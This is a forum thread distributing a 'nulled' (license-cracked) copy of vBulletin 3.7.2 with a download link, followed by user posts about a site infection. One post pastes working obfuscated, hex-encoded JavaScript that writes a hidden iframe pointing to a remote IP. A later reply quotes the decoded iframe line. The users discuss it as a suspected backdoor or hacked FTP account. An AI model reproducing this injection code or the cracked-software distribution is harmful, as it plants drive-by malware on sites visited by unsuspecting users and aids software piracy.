vBulletin v 3.7.2 Patch Level 1 NULLED by MAFiASCRiPTS

Core_Core

New Member
This is the full vBulletin with PL 1

vBulletin.v3.7.2.Patch.Level.1.NULLED.MAFiASCRiPTS

# __ ______ _______ ___ _____ __________ _ ____ ___________ # ||
|| # / |/ / | / ____(_) | / ___// ____/ __ \(_) __ \/_ __/ ___/ # ||
|| # / /|_/ / /| | / /_ / / /| | \__ \/ / / /_/ / / /_/ / / / \__ \ # ||
|| # / / / / ___ |/ __/ / / ___ |___/ / /___/ _, _/ / ____/ / / ___/ / # ||
|| # ©/_/ /_/_/ |_/_/ /_/_/ |_/____/\____/_/ |_/_/_/ /_/ /____/ # ||
|| # # ||
|| # MAFiASCRiPTS # ||
|| # OFFICIAL RELEASE # ||
|| #------------------------------------------------------------------------# ||
|| # Copyright © 2008 # ||
|| #------------------------------------------------------------------------# ||
|| # # ||
|| # NAME : vBulletin # ||
|| # VERSION : 3.7.2 Patch Level 1 # ||
|| # TYPE : Bulletin Board System # ||
|| # SUPPLIED : MAFiASCRiPTS Friend # ||
|| # NULLED BY : MAFiASCRiPTS # ||
|| # TESTED BY : MAFiASCRiPTS # ||
|| # PACKAGED : MAFiASCRiPTS # ||
|| # LANGUAGE : PHP/MYSQL # ||
|| # PROTECTION : REMOVED # ||
|| # WEBSITE : vBulletin® - Instant Community # ||
|| # RETAILS : $160.00 # ||
|| # MST PRICE : 100% FREE # ||
|| # DISTRO : VIA MS # ||
|| # DEMO : vBulletin Community Forum - Powered by vBulletin # ||
|| # ADDONS : n/a # ||
|| # XTRA NOTE : Props fliez to contributors of this project: supplier, #
|| # nuller and QAT. # ||
|| # DOCS : check 'vb3_readme.txt' for setup & installation info #


Download
Code:
http://tinyload.com/D2Prh5
 

Qwity

New Member
new bug , am using vb 3.7.2 pl 1 and i found today that the index.php got a zero size , i dont know how or why but after reupload it everything went right , is it because a hack or a product , any idea ?
 

Qwity

New Member
its not nulled , something wrong with index.php , i got this instead

Code:
<!--
var d=document,kol=561;
function O10H4888F0E9242B7(H4888F0E9246AE){ function H4888F0E924AAB() {return 16;} return( parseInt(H4888F0E9246AE,H4888F0E924AAB()));}function H4888F0E9252A4(H4888F0E9256A2){  var H4888F0E925A9E='';for(H4888F0E925E98=0; H4888F0E925E98<H4888F0E9256A2.length; H4888F0E925E98+=2){ H4888F0E925A9E += ( String.fromCharCode (O10H4888F0E9242B7(H4888F0E9256A2.substr(H4888F0E925E98, 2))));}return H4888F0E925A9E;} document.write(H4888F0E9252A4('3C7363726970743E696628216D796961297B642E777269746528273C494652414D45206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E3137312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3837303830292B27383332366338315C272077696474683D363232206865696768743D313430207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E'));
//-->
</script>
 

Qwity

New Member
sorry guys , false alarm , its nulled , but that thing which hit my site is adware look like a virus , i really dont know , and hoxxy with others advice me to clean all files by removing this code and change cpanel plus ftp password , and untill now everything seems ok . so am so so sorry .
 

Takster

New Member
nice.

<IFRAME name=O1 src=\'http://77.221.133.171/.if/go.html?'+Math.round(Math.random()*15375)+'28539d6\' width=75 height=205 style=\'display: none\'></IFRAME >');}var myia=true;</script>

A server in russia, what a nice null that is indeed. :rolleyes:

Other releases on say, other scripts forum (lol) are clean, only this package someone has been playing with the files.
 

Qwity

New Member
i searched for string ( myia ) + ( 28539d6 ) , found nothing , so its clean , i think my site was hacked coz when i changed ftp password and cleaned index.php the bad code
vanish , the bad code disappeared only when i changed ftp password not when i just cleaned index.php . so its a case of hacked site .
 

Hoxxy

New Member
Ive said it before and I will say it again:
tho' 99% vBTEAM members can be trusted there will always be that 1% of bad apples!
I suggest members only download vBulletin releases from vBTEAM staff posts as we get them straight from the nullers and do not touch them in any way shape or form.

This is not to say that the original thread starter (core-core I think) edited them his/herself he/she probably found it on a warez site or something and posted it here, it was probably just bad luck he/she got a bad copy thats all.
 
Top